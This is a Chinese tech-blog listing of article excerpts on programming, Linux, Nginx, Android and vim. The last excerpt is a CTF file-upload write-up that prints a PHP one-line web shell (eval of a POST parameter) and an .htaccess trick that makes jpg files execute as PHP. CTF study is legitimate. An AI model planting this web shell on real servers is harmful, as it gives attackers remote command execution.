相关文章
【C++】设计模式 — 从零开始认识单例模式
人的一生本来就是一场有来无回的冒险。 --- priest 《残次品》--- 设计模式 — 单例模式 1 设计模式2 单例模式2.1 饿汉模式2.2 懒汉模式 3 总结 1 设计模式
设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类的、代码设计经验的总结…
建站知识
2024/11/24 8:54:49
【Linux】系列入门摘抄笔记-6-tar打包压缩和vim编辑器
打包、压缩和解压命令
压缩文件一定要严格区分扩展名
tar 打包程序
tar [主选项+辅选项] [包名] [目标文件或目录]描述:tar命令是Linux下最常用的打包程序。使用tar命令打出来的包称为tar包,因为tar包文件的后缀通常是“.tar”。
每条tar命令只能有一个主选项,而辅助选项…
建站知识
2024/11/23 8:14:05
【JAVA多线程】JDK线程同步工具类:Semaphore、CountDownLatch、CyclicBarrier
目录
1.可能会遇到的线程协作场景
2.Semaphore
3.CountDownLatch
4.CyclicBarrier 1.可能会遇到的线程协作场景
在并发编程中,线程除了独自向前运行,还可能相互之间要进行协作,以保证完成最终总的目标。可能会遇到的几种任务之间的协作&…
建站知识
2024/11/23 8:14:04
力扣:1984. 学生分数的最小差值
1984. 学生分数的最小差值
这是道滑动窗口的题,但这道题要简单一点。
首先我们先对原数组排序,然后从头遍历,将元素放入队列中,超过k了就弹出队头,队尾减队头的差值最小的即为答案
class Solution {
public:int min…
建站知识
2024/11/23 8:14:07
Nginx 优化与防盗链
目录
一、隐藏版本号
方法一:修改配置文件
方法二:修改源码文件,重新编译安装
二、修改用户和组
三、缓存时间
四、日志切割(脚本)
五、连接超时
六、更改进程数
七、配置网页压缩
八、配置防盗链 一、隐藏版…
建站知识
2024/11/23 8:14:08
Android 获取短信验证
Android 获取短信验证
Android 获取短信验证 输入发短信的手机号,点击获取验证码,等接收到验证码后就会自动获取
SmsReceiver.Java import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
impor…
建站知识
2024/11/23 8:14:12
[vim] vim多窗口切换
需求
写代码的过程中,经常需要在不相邻窗口之间跳转。
方案
使用 neovim-window切换。 插件管理使用lazy.nvim
neovim配置
在~/.config/nvim/lua/plugins/下增加文件window-picker.lua,内容为
return {{"yorickpeterse/nvim-window",nam…
建站知识
2024/11/22 18:21:06
[upload]-[GXYCTF2019]BabyUpload1-笔记
尝试上传.htaccess和图片和一句话木马提示 php文件提示 响应头可以看到 构造一句话图片木马如下:
<script languagephp>eval($_POST[cmd]);</script> 上传成功 必须增加文件夹下jpg后缀解析php
.htaccess如下
<FilesMatch "jpg">Set…
建站知识
2024/11/22 19:15:13